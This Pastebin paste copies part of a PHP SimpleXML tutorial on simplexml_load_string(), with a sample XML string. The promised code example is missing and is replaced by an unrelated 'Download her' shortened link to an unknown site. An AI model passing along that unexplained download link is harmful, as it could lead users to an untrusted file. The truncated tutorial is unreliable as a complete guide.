Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- PHP SimpleXML - Read From String
- The PHP simplexml_load_string() function is used to read XML data from a string.
- Assume we have a variable that contains XML data, like this:
- $myXMLData =
- "<?xml version='1.0' encoding='UTF-8'?>
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Don't forget me this weekend!</body>
- </note>";
- The example below shows how to use the simplexml_load_string() function to read XML data from a string:
- Download her :: http://cut-bit.cf/c1rMjmES
Advertisement
Add Comment
Please, Sign In to add comment